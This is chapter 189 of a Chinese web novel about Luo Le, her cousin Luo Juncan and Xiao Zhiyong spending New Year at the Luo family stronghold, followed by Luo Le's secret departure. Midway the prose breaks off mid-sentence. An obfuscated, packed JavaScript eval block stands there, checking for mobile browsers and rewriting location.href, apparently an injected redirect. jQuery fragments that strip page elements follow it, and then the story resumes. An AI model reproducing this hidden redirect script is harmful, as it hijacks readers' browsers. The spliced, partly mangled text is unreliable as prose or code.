189. ^^……

萧志勇属实是没想到阿柔竟然真敢让罗实泰抱她上肩膀,而罗实泰,居然也真的那么做了?!


萧志勇不太清楚罗乐在罗家寨的身份和地位,自然也不知道,即便罗乐没选‘长乐’这个名字,在罗实泰心中,她最终还是成为了罗家寨的主上。


罗家寨既然已经有了罗乐,那么就不需要第二个可能会超越她的人,无论是智商上,还是地位上。


虽然罗实泰对阿柔还没有到捧杀的地步,但还是会下意识地希望她骄纵、甚至是……平庸。


就像……对待罗君灿和罗君泽那样,似有若无地放任她的任性,也放任他的孤僻。


察觉到罗乐和罗君灿看过来的视线,罗实泰朝她们招了手才离开。


罗君灿那股别扭劲一下子散了,高高兴兴地挥手回应他,待人离开后,扭头瞧见一脸沉重的罗乐,不由得放轻了声音:“阿乐?”


看见她大伯和阿柔的互动,罗乐忽然想到了她先前跟罗君池的对话,是不是因为意识到了这一点,觉得一切的不公都是因为自己,才会越发害怕身边人的改变?


对上罗君灿担忧的眼神,罗乐嘴角一扯,佯装轻松地转移话题:“现在你还觉得大伯能管阿柔吗?”


罗君灿:……


她噎住了。


行吧,从刚才的事情来看,她爹和大哥确实拿阿柔没办法,但萧志勇怎么就可以了?


罗乐道:“诺,阿柔和煜儿两个不管怎么闹,都有她兜底,而她又不会无限纵容她们,不是挺好的?”


看着在院坝里打闹的阿柔和小萝卜,两个脚下不稳,滚做一团,还好有萧志勇看着,及时用脚接住了她们的大半个身子,不至于结结实实磕在地面上。


罗君灿若有所思。


萧志勇耳力非凡,听见罗乐夸她了,当即回身朝她招手,而她的脚忽然一收,装可怜的阿柔和小萝卜两个齐齐扑在了地面上,吃了一嘴的土。


罗君灿忍俊不禁:“噗,真是两个吃一堑吃一肚子还不长智的家伙。”


罗乐微微垂眸,说来不知是不是她的错觉,总觉得阿柔比她记忆中更爱折腾萧志勇了?


还有先前的坐肩,萧志勇出现前,阿柔可从没有提出过这样的要求……


看来她不在家的日子里,两人之间发生了不少事啊……


不过……罗乐若无其事地眨眨眼,既然萧志勇没跟她说起这些事,她就当做什么都没发现吧。


而吃了土的阿柔和小萝卜顺着萧志勇看过去的方向,发现是她们的阿姐们,拍拍膝盖,哒哒跑过去告状。


“阿姐,萧姐……师母可坏了,人家还没起来,她就收脚了。”


阿柔努力垫着脚,仰着磕到地面上红通通的下巴给罗乐看,“你看,我下巴都肿成萝卜了!”


罗乐问道:“疼吗?”


阿柔眼里立刻泛起了泪花:“可疼可疼了!”


她顿了顿,补充道:“阿姐呼呼就不疼了~”


变脸的可怜劲让人大开眼界,谁也不知道阿柔的小脑瓜是怎么想出这么多招儿的。


罗君灿看着姐妹俩的互动,忽然明白了罗乐怎么会想着请外援了。


她看了眼萧志勇,心中肃然起敬,不愧是当山寨头子的人,竟然那么铁石心肠,连阿柔的撒娇都无动于衷。


-


于罗乐而言,在罗家寨过年和在长日村过年最大的区别,就是一个还当她是孩子,而另一个,她是家里的支柱。


年三十的晚上,罗乐去灶房看热闹,最后被花木雨和苗白凤妯娌俩联手赶了出来,只说有她们这些大人在,没道理让她一个小辈进灶房。


被当成了小辈的罗乐难得清闲,干脆做了套扑克牌来打发时间,倒不是她不玩麻将,而是麻将光数字牌就有一百零八张,哪有五十四张的扑克牌来得轻松?


晚上打扑克牌分三家,她们自动分成了四个阵营,萧志勇、罗乐姐弟三人、罗君灿、小萝卜兄妹二人。介于罗君灿和萧志勇都是单人组,为了每个人每一把都能玩上,她们无奈下不得不组成了一组。不过阿愚、阿柔、小萝卜年纪小了点儿,深夜吃过宵夜就困得不行,被罗乐几人赶去睡觉去了。


守岁的晚上有了扑克牌,天似乎也比往年亮得快得多,抱着媳妇舒舒服服睡了一晚的罗君池来接班的时候,鏖战一宿的罗乐四人中,唯有罗乐是赢家,萧志勇和罗君灿输了个精光,罗君泽则刚好保本。


大年初二,祭祖。


这是罗乐头一次参加罗家寨的祭祖仪式,也是罗君灿最后一次参加,两人随着众人跪坐在祠堂的院子中,肩并着肩。


罗乐双手合十,小声念道:“愿老祖宗保佑罗君灿婚后公婆和蔼,夫妻和睦,身体健康,平平安安,事事顺遂。”


罗君灿正要跟老祖宗说话,听见罗乐这么说,鼻子酸了:“跟老祖宗许愿,你怎么只说我,不说自己?”


罗乐道:“我不急嘛,明年再说也一样,今年你比较重要。”


罗君灿咬唇,别过头,扭捏道:“那我愿老祖宗保佑罗乐找一个如意郎君……”


罗乐噗嗤一声:“与其让老祖宗保佑我找到一个如意郎君,不如保佑我发财呢。”


罗君灿诧异地看向罗乐:“你……很缺钱?”


“是啊~”罗乐眨眨眼,“花销大,不多存点钱怎么行?手底下那么多人等着吃饭呢。”


罗君灿:……


听出来她在都自己玩,罗君灿双手合十道:“老祖宗,阿乐说了,她既要一个如意郎君,又要发财,你们在底下可别听漏了,都要的哈,她刚才在开玩笑……”


罗乐:……


等离了祠堂,罗乐忍不住问道:“你怎么非要我嫁人啊?”


罗君灿理直气壮道:“要如意郎君也不一定是嫁人啊,你不是想要他入赘吗?不跟老祖宗求,指望愿意入赘的如意郎君从天上掉下来吗?”


罗乐:……


见罗乐欲言又止,罗君灿看了眼跟在她身后的两个小的,幽幽叹了口气:“阿乐,常言道:鸟大离巢,树大分枝。除非像我爹那样一直留在罗家寨,不然多少兄弟姐妹是要分开的?”


罗乐:“你是说,阿愚和阿柔日后不在我身边当个有权有势的郡王,要自个儿在辰州打拼?”


罗君灿:………………


哦,她忘了,罗乐还是个尊贵的郡主大人。


难怪在祠堂里许愿许的是她呢,人家老祖宗太多,分一个愿望出去不稀罕哈?


“那……你日后住王城,阿愚和阿柔就不开府了,跟着你住王城吗?”


罗乐迟疑道:“不行吗?”


罗君灿道:“这……不合规矩吧?”


罗乐:“我都当王了,规矩不合适的话,改一改不就成了?”


罗君灿:……


她不可思议地看向罗乐,简直不敢相信,这是提倡‘社会主义’的罗乐说出来的话?


罗乐理直气壮道:“这不是还没成吗?再说


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231629|144120||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


,有大伯盯着,能不能成还不知道呢,既然还没成,干嘛不先享受享受?”


南诏王现在疼她,是觉得她能带着南诏造反,重回中原一统江山,重现祖辈荣光,要是知道她计划着干掉王室和各个贵族世家,搞不好是第一个带头反她!


罗乐觉得自己还是怂的,偶尔在杨敏面前耍耍嘴皮子、仗着势力撒撒革命的种子也就罢了,大安又不是马上要亡国了,何必揠苗助长?


不破不立的道理她还是明白的,如今的大安有人北伐,瞧着不像是摇摇欲坠、国将不存的模样,她暂时也没打算来个祖孙在战场对立面认亲最后你死我活的悲惨结局。


嘶……这对她而言,太狗血了点。


既然如此,先改善生活质量要紧,她如今钱虽然不多,权勉强够用的情况,干嘛要委屈自己?


嗯,回去就把原来的小平房改成依山傍水的三层楼小别墅,现在家里人多了,总得多建两个客房,以备不时之需吧?


不知道罗乐也有了扩建的想法,过完初七发现罗乐有收拾行李的痕迹,于是也回去收拾行李但发现阿愚和阿柔完全没有离开动静的萧志勇,疑惑了。


马上要正月十五上元节了,罗乐这个时候不留在罗家寨和阿愚阿柔过节,一声不吭收拾行李,是要做什么?


尽管这人习惯了收敛脚步声,罗乐还是察觉到了门外有人靠近,警惕道。


“谁?”


门开了,萧志勇大步进来。


见是她,罗乐稍稍松了口气,“有事?”


“你……”


萧志勇细细打量罗乐,发现她换上了方便赶路的骑马装,疑惑道,“你要出门?”


“嗯。”


“去哪?”


罗乐耸耸肩:“自然是去要去的地方。”


她拍了拍萧志勇的胳膊:“我家阿愚阿柔还要劳烦你照顾了,等我回来,请你吃烧烤。”


萧志勇没追问罗乐去处,只挑眉问她:“怎么,得罗君灿首肯,终于能给我烧烤了?”


罗乐:……


瞧见罗乐瞪圆的眼,萧志勇嘴角微勾:“奇怪我怎么知道?”


罗乐摇摇头:“不好奇。”


“啧……”萧志勇无奈地摇摇头,扔给罗乐一个香囊,“算了,不想说就不说吧,这个你拿着。”


罗乐稳稳接住,颠了颠,发现分量不重,再一捏,软软的,像粉末:“这是什么?”


“南双全让人炮制的迷药,你要赶路,不妨带着防身。”


“迷药?”


“嗯,用的时候往人脸上一撒,甭管他带没带面巾,当场倒地昏睡三天。”


“……把迷药给我了,那你呢?”


萧志勇:“我?有多的。”


罗乐这才收下,没想到萧志勇骑马送她送到了罗家寨大门口,还有继续要送的趋势,忍不住道:“送到这儿就可以了,天要黑了,你还是回去吧。”


萧志勇却完全没有要离开的意思,仿佛只要罗乐不开口,她就会一直跟着走下去,听了罗乐的话,恍然大悟道:“哦,我只是顺路。”


罗乐:……


萧志勇静静看着眼前的人,挑眉道:“还走吗?”


罗乐微微垂眸,手指摩挲着缰绳,让萧志勇跟着肯定不行,她还得提前几天赶到南诏,再延迟出发也是不行的……


如果萧志勇非要跟着她,她身上又没别的药粉,总不能原汤化原食,把刚才她送她的迷药用在她的身上吧?